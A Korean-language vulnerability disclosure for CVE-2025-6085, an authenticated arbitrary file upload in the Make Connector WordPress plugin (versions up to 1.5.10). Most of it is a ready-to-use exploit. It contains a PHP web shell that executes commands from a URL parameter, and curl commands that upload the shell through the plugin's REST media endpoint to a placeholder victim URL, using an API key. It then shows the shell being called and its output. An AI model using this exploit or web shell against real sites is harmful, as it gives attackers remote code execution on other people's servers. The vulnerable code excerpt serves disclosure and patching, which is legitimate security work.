Make Connector <= 1.5.10 - 인증된 (Admin+) 임의 파일 업로드

Make Connector 플러그인은 REST API 미디어 업로드에서 파일 유형을 검증하지 않으므로 관리자 이상 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드 실행을 얻을 수 있습니다.

TL;DR 익스플로잇

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \
  -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \

업로드 폴더에 셸이 위치하게 되면 다음과 같이 활용할 수 있습니다:

curl -k https://lab1.hacker/wp-content/uploads/2025/04/shello.php\?cmd\=ip%20addr         

<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 67461sec preferred_lft 67461sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86201sec preferred_lft 14201sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

세부 정보

/wp-content/integromat-connector/class/class-rest-request.php 파일의 dispatch() 함수는 24번 줄에서 self::upload_media();를 호출합니다. 이 upload_media() 함수는 허용된 MIME 유형을 확인하기 전에 74번 줄에서 업로드된 파일을 탐색 가능한 디렉터리로 복사합니다(copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );). 허용된 MIME 유형 확인은 90-95번 줄에서 이루어집니다.

class-rest-reques.php에서 발췌한 취약한 코드 조각:

66	                if ( (int) $_FILES['file']['size'] === 0 ) {
67	                        Rest_Response::render_error( 500, 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'rest_upload_unknown_error' );
68	                }

69	                if ( (int) $_FILES['file']['error'] > 0 ) {
70	                        Rest_Response::render_error( 500, 'An error has occured when uploading file to the server.', 'rest_upload_unknown_error' );
71	                }

72	                copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );

73	                $title       = isset( $_REQUEST['title'] ) ? sanitize_title( $_REQUEST['title'] ) : '';
74	                $description = isset( $_REQUEST['description'] ) ? sanitize_text_field( $_REQUEST['description'] ) : '';
75	                $caption     = isset( $_REQUEST['caption'] ) ? sanitize_text_field( $_REQUEST['caption'] ) : '';
76	                $alt_text    = isset( $_REQUEST['alt_text'] ) ? sanitize_text_field( $_REQUEST['alt_text'] ) : '';
77	                $post_id     = isset( $_REQUEST['post'] ) ? (int) $_REQUEST['post'] : '';

78	                $upload_dir = wp_upload_dir();
79	                $filename   = basename( $media_file_source );
80	                if ( wp_mkdir_p( $upload_dir['path'] ) ) {
81	                        $file = $upload_dir['path'] . '/' . $filename;
82	                } else {
83	                        $file = $upload_dir['basedir'] . '/' . $filename;
84	                }

85	                $wp_file_type  = wp_check_filetype( $filename, null );
86	                $allowed_types = get_allowed_mime_types();

87	                if ( ! in_array( $wp_file_type['type'], $allowed_types ) ) {
88	                        Rest_Response::render_error( 500, 'Sorry, this file type is not permitted for security reasons.', 'rest_upload_unknown_error' );
89	                }

수동 재현

관리자 패널에 로그인하여 Make 플러그인 설정으로 이동한 다음 API 키를 복사합니다.
간단한 웹 셸을 만들거나, 원한다면 직접 준비한 것을 사용하세요:

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

다음 curl 명령어를 실행하여 플러그인의 미디어 REST 엔드포인트를 호출합니다.

curl -k -X POST \
  https://VICTIMURLHERE/wp-json/wp/v2/media \
  -H "IWC-API-KEY: cjusksft1dwcoq43lyy6a6lf9tb6qc63" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \
  -F "alt_text=Hacker Alt Text"

아래와 같은 JSON 응답을 보게 되겠지만, 괜찮습니다. 파일은 이미 이동되었으니까요 :)

{
    "code": "rest_upload_unknown_error",
    "message": "Sorry, this file type is not permitted for security reasons.",
    "data": {
        "status": 500
    }
}

https://lab1.hacker/wp-content/uploads/2025/04/shello.php?cmd=ip%20addr에 있는 웹 셸로 이동합니다.

CVE-2025-6085

인기